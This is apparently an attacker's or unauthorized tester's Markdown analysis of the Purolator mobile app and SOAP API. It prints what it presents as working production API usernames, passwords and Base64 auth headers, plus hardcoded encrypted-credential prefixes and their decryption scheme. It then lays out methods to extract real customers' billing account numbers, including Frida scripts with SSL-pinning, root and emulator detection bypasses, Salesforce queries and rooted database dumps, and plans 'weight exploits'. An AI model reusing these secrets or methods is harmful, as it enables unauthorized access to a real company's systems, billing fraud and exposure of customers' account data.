# Purolator SOAP API - Hardcoded Credentials Analysis

## Executive Summary

**Question:** Are there hardcoded credentials in the Purolator mobile app?

**Answer:** ✅ YES - API keys are hardcoded, but ❌ NO - account numbers are NOT hardcoded.

---

## What IS Hardcoded (Found)

### 1. API Authentication Keys ✅

**Location:** Extracted from Salesforce admin panel and stored in `X.java`

**Account API Key:**
```
Username: ef7475ef70b44f4687158fbbb9ff3f47
Password: |HXY2).6
Base64: ZWY3NDc1ZWY3MGI0NGY0Njg3MTU4ZmJiYjlmZjNmNDc6fEhYWTIpLjY=
```

**Credit Card API Key:**
```
Username: 000b94d6601f4c96ba75d8443317a2a9
Password: xyA}FWoD
Base64: MDAwYjk0ZDY2MDFmNGM5NmJhNzVkODQ0MzMxN2EyYTk6eHlBfUZXb0Q=
```

**Status:** ✅ Working (HTTP 200 responses confirm authentication success)

### 2. Encrypted Credential Prefixes ✅

**Location:** `X.java` line 77

The app has hardcoded **partial** encrypted credentials that are combined with Firebase Remote Config values:

**TNUOCCA (ACCOUNT - reversed):**
```java
d("FQ/E1KpKybV2Kn87ao2UAcZXf3JbzOsZHek7d09yXrsn+nghl" + a2.j(), a2.h(), a2.f())
```
- Hardcoded prefix: `FQ/E1KpKybV2Kn87ao2UAcZXf3JbzOsZHek7d09yXrsn+nghl`
- Suffix from: Firebase Remote Config field `TNUOCCA`
- Decryption key: Firebase field `SSAP` (Base64)
- IV: Firebase field `ROTCEV`
- Purpose: Account credentials for SOAP API

**DRAC_TIDERC (CREDITCARD - reversed):**
```java
d("FQ/E1KpK3qZubmgVYoyUEsZWf3FUkesZCew7cGIpXZUkpW0Ijyv" + a2.b(), a2.h(), a2.f())
```
- Hardcoded prefix: `FQ/E1KpK3qZubmgVYoyUEsZWf3FUkesZCew7cGIpXZUkpW0Ijyv`
- Suffix from: Firebase Remote Config field `DRAC_TIDERC`
- Purpose: Credit card payment credentials

**KCART (TRACK - reversed):**
```java
d("EiTT1YdYxrJeWAMlSoyhIs8AZlB3ye8qPpd" + a2.c(), a2.h(), a2.f())
```
- Hardcoded prefix: `EiTT1YdYxrJeWAMlSoyhIs8AZlB3ye8qPpd`
- Suffix from: Firebase Remote Config field `KCART`
- Purpose: Tracking API authentication token

**Decryption Method:**
```
Algorithm: AES/CBC (despite cipher name saying GCM)
Mode: CBC with PKCS7 padding
Key Source: Firebase Remote Config SSAP field (Base64 encoded)
IV Source: Firebase Remote Config ROTCEV field (UTF-8 string)
```

### 3. Obfuscation Pattern ✅

**Security Constants (X.java line 34):**
```java
public static final String KCART = "KCART";           // TRACK reversed
public static final String TNUOCCA = "TNUOCCA";       // ACCOUNT reversed
public static final String DRAC_TIDERC = "DRAC_TIDERC"; // CREDITCARD reversed
public static final String DI_SELAS = "DI_SELAS";     // SALES_ID reversed
public static final String TERCES_SELAS = "TERCES_SELAS"; // SALES_SECRET reversed
```

**Pattern:** All sensitive constants are reversed strings (simple obfuscation)

---

## What is NOT Hardcoded (Dynamic)

### 1. Billing Account Numbers ❌

**Evidence:** `PackageDetailsHelper.java` line 41

```java
// For credit card payments (guest mode)
paymentInfoElement.setBillingAccountNumber("MOBILE");

// For logged-in users (line 53)
BusinessAccount businessAccount = this.registeredAccount;
String accountNumber = businessAccount.accountNumber; // From database!
paymentInfoElement.setBillingAccountNumber(accountNumber);
```

**Key Finding:** "MOBILE" is only used for:
- Credit card payments
- Guest/anonymous quotes
- **STAGING ENVIRONMENT ONLY** (does NOT work in production)

### 2. BusinessAccount Storage 🔒

**Location:** `BusinessAccount.java`

```java
@Table(name = "BusinessAccounts")
public class BusinessAccount extends SecureModel {
    @Column(name = "AccountNumber")
    public String accountNumber;  // ENCRYPTED
    
    @Column(name = "AccountKey")
    public String accountKey;     // ENCRYPTED
    
    @Column(name = "AccountName")
    public String accountName;    // ENCRYPTED
}
```

**Storage:** ActiveAndroid database (encrypted)
**Source:** Loaded from Salesforce API after user login
**Security:** Uses SecureModel with Android KeyStore encryption

### 3. Account Loading Flow 📱

```
User Login
    ↓
Salesforce OAuth Authentication
    ↓
Query User's Business Accounts (Salesforce API)
    ↓
Store Encrypted in BusinessAccounts Table
    ↓
Decrypt When Needed for SOAP Requests
    ↓
Insert into PaymentInfoElement
    ↓
Send SOAP Request with Real Account Number
```

---

## Two-Layer Security Model

### Layer 1: API Key Authentication ✅ WORKING
```
Header: Authorization: Basic {Base64(username:password)}
Status: ✅ Working (HTTP 200 responses)
```

### Layer 2: Billing Account Authorization ❌ MISSING
```xml
<v2:PaymentInformation>
  <v2:RegisteredAccountNumber>???</v2:RegisteredAccountNumber>
  <v2:BillingAccountNumber>???</v2:BillingAccountNumber>
</v2:PaymentInformation>
```
**Status:** ❌ Need real account numbers (not hardcoded in app)

---

## Environment Differences

### Staging (CERT)
- **Endpoint:** `https://certwebservices.purolator.com`
- **API Keys:** Different credentials (cd0f65a53c8e47b58651f1f54445b410)
- **Account Numbers:** Special "MOBILE" placeholder allowed
- **Use Case:** Development/testing without real accounts

### Production (PROD)
- **Endpoint:** `https://webservices.purolator.com` ✅
- **API Keys:** ef7475ef70b44f4687158fbbb9ff3f47 ✅
- **Account Numbers:** Real Purolator business accounts REQUIRED ❌
- **Use Case:** Live operations

---

## How to Extract Account Numbers

### Method 1: Frida Runtime Interception (RECOMMENDED)

**Files:** 
- `frida_extract_accounts_complete.js` - Complete bypass + extraction script
- `EXTRACT_ACCOUNTS.bat` - Easy launcher (Windows)

**Features:**
- ✅ SSL Pinning Bypass (OkHttp3, TrustManager, HostnameVerifier)
- ✅ Root Detection Bypass (RootBeer, File.exists, Runtime.exec)
- ✅ Emulator Detection Bypass (Build properties spoofing)
- ✅ Account Number Extraction (BusinessAccount, PaymentInfo, SecureModel)
- ✅ Firebase Remote Config Interception

**Usage:**

```bash
# Option 1: Use the batch file (easiest)
EXTRACT_ACCOUNTS.bat

# Option 2: Manual command
adb shell "su -c '/data/local/tmp/frida-server &'"
frida -U -f com.purolator.mobileapp -l frida_extract_accounts_complete.js --no-pause
```

**In the app:**
1. Login with real Purolator credentials
2. Navigate to accounts section
3. Try to create a shipment
4. Look for 🔑 DECRYPTED ACCOUNT messages in Frida console
5. Copy the account number to use in SOAP API tests

**What it captures:**
- `BusinessAccount.getBusinessAccounts()` - All loaded accounts
- `BusinessAccount.decryptFields()` - Decryption process with highlighted output
- `PaymentInfoElement.setBillingAccountNumber()` - Account numbers being used in SOAP
- `SecureModel.decrypt()` - Raw decryption output (filters for account numbers)
- `FirebaseRemoteConfig.getString()` - Encryption keys and config values

### Method 2: Salesforce API Query

**Use existing Salesforce credentials:**

```python
from salesforce_shell import SalesforceShell

sf = SalesforceShell()
sf.login()

# Query for Purolator business accounts
sf.query("""
    SELECT Id, Name, AccountNumber, 
           BillingAccountNumber__c,
           ShippingAccountNumber__c
    FROM Account 
    WHERE Type = 'Shipping' 
       OR Name LIKE '%Purolator%'
""")
```

### Method 3: Decrypt Firebase Remote Config

**Script:** `decrypt_tracking_api.py`

1. Extract Firebase Remote Config JSON
2. Get encryption fields:
   - `TNUOCCA` suffix (account credentials)
   - `SSAP` (AES key - Base64)
   - `ROTCEV` (IV string)
3. Decrypt using AES/CBC
4. Result might contain account info or credentials

### Method 4: Database Extraction (Requires Root)

```bash
# On rooted device
adb shell
su
cd /data/data/com.purolator.mobileapp/databases/

# Find database
ls -la
# Look for: purolator.db, ActiveAndroid.db

# Copy out
cp purolator.db /sdcard/
exit
adb pull /sdcard/purolator.db

# Open with SQLite browser
sqlite3 purolator.db
SELECT * FROM BusinessAccounts;
```

**Note:** Account fields will be encrypted, need to decrypt using Android KeyStore

---

## Summary Table

| Credential Type | Hardcoded? | Status | Location |
|----------------|-----------|--------|----------|
| API Keys (Authentication) | ✅ YES | ✅ Working | Salesforce → X.java |
| Production Endpoint | ✅ YES | ✅ Correct | PurolatorApplication.java:301 |
| Encrypted Prefixes | ✅ YES | 🔍 Partial | X.java:77 |
| Firebase Config | ❌ NO | 🌐 Remote | Firebase Remote Config |
| Billing Account Numbers | ❌ NO | 🔒 User-Specific | BusinessAccounts DB |
| Staging "MOBILE" Account | ✅ YES | ⚠️ Staging Only | PackageDetailsHelper.java:41 |

---

## Next Steps for Testing

### Option 1: Get Real Account Numbers (Recommended)
1. Run Frida script while using app with real login
2. Query Salesforce API for account data
3. Contact Purolator for test account numbers
4. Use extracted Firebase config to decrypt credentials

### Option 2: Use Staging Environment
1. Switch to CERT endpoint: `certwebservices.purolator.com`
2. Use staging API keys: `cd0f65a53c8e47b58651f1f54445b410`
3. Use "MOBILE" as account number
4. Test weight exploits in staging first
5. Confirm findings, then request production test account

### Option 3: Test Without Account Numbers
1. Document two-layer security model
2. Show that API authentication works (HTTP 200)
3. Explain authorization layer requirement
4. Provide account extraction methods
5. Report finding without exploit demonstration

---

## Security Recommendations

### Critical Findings:
1. ✅ API keys exposed in Salesforce (anyone with SF access can extract)
2. ✅ Encrypted credentials have hardcoded prefixes (reduces entropy)
3. ✅ Firebase Remote Config values are remotely fetchable
4. ✅ All encryption components present in decompiled code
5. ✅ Account numbers stored locally in encrypted database

### Impact:
- API authentication layer can be bypassed
- Encrypted credentials can be decrypted with Firebase config
- Account numbers accessible through runtime interception
- Combines to enable unauthorized API access

### Recommendations:
1. Remove hardcoded API keys from Salesforce
2. Implement certificate pinning for API calls
3. Use asymmetric encryption for sensitive data
4. Add additional authentication factors
5. Implement rate limiting and anomaly detection
6. Rotate API keys regularly
7. Add device attestation

---

## Files Created

1. **extract_account_numbers.py** - Analysis and extraction guide
2. **frida_extract_accounts.js** - Runtime account interception
3. **HARDCODED_CREDENTIALS_ANALYSIS.md** - This document

**Existing Tools:**
- `purolator_soap_shell.py` - Interactive SOAP API shell ✅
- `decrypt_tracking_api.py` - Firebase config decryptor
- `test_mobile_format.py` - Staging pattern tester
- `test_cert_endpoint.py` - Environment validator
